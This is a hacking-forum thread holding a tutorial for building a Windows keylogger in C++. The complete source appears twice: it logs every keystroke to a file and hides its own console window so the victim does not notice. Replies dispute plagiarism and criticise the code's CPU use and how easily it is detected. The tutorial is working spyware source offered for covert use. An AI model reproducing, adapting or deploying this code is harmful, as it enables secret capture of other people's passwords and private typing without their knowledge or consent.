![]() |
|
C++ How to make a basic keylogger - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: C, C++, & Obj-C (https://sinister.ly/Forum-C-C-Obj-C) +--- Thread: C++ How to make a basic keylogger (/Thread-C-How-to-make-a-basic-keylogger) Pages:
1
2
|
C++ How to make a basic keylogger - Hyde - 07-12-2013 Hello everyone. This tutorial will teach you to create a keylogger in c++ using vs 2008. It can also be done in dev-c++, codegear c++ builder. This keylogger wil save a log of the keys that are pressed on your HD. First we need to create a new project. Click on 'File' > 'New' > 'Project'. Now choose 'Win32 Console Application' and choose for name "Keylogger". If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'. You should have a empty project now. Now we will add a .cpp file. Right click on 'Source Files' and take 'Add' > 'New Item'. Now take 'C++ File(.cpp)' and name it Keylogger. then click 'Add'. Now open Keylogger.cpp and Write this in it: Code: #include <iostream> // These we need to
using namespace std; // include to get our
#include <windows.h> // Keylogger working.
#include <winuser.h> //Now write this: Code: int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.Now we need to make a main function.(The main function will be the first that will be executed.) Code: int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'
while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}Code: /* *********************************** */Code: int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}Now we going to add Stealth to it. Under the latest code add again: Code: /* *********************************** */Code: void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}Code: int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
RE: C++ How to make a basic keylogger - Boyd - 07-12-2013 Congrats on the copy and paste. http://hackspc.com/how-to-make-a-keylogger/ RE: C++ How to make a basic keylogger - Hyde - 07-12-2013 You should take content anyway you can get it. RE: C++ How to make a basic keylogger - Boyd - 07-12-2013 (07-12-2013, 08:07 AM)Hyde Wrote: more harmful for you to point that out than me. Explain how that's more harmful for me than you? RE: C++ How to make a basic keylogger - OversouL - 07-17-2013 (07-12-2013, 08:07 AM)Hyde Wrote: You should take content anyway you can get it. You should at least give credits. :glare: RE: C++ How to make a basic keylogger - Wonders - 07-17-2013 Perhaps add credits to the bottom of the thread. Thanks for posting regardless! RE: C++ How to make a basic keylogger - xornull - 04-12-2014 The most basic keylogger. I doubt anyone here really doesn't know this though. RE: C++ How to make a basic keylogger - Tyson_08 - 04-12-2014 This was copy-pasted, but I happy that you didn't bother to make it look like it was your own tutorial. This might be helpful to someone at least... Keep sharing more quality stuff...
RE: C++ How to make a basic keylogger - w00t - 04-13-2014 Whoever actually programmed this should be beaten for their horrid comments. I mean, multi-line comments aren't new. RE: C++ How to make a basic keylogger - xornull - 04-13-2014 This is also very bad because it keeps spamming the CPU for the same function, and it may also miss some keystrokes, plus it's easy as fuck to detect, what other thing will a program do if all it's doing is calling GetAsyncKeyState... |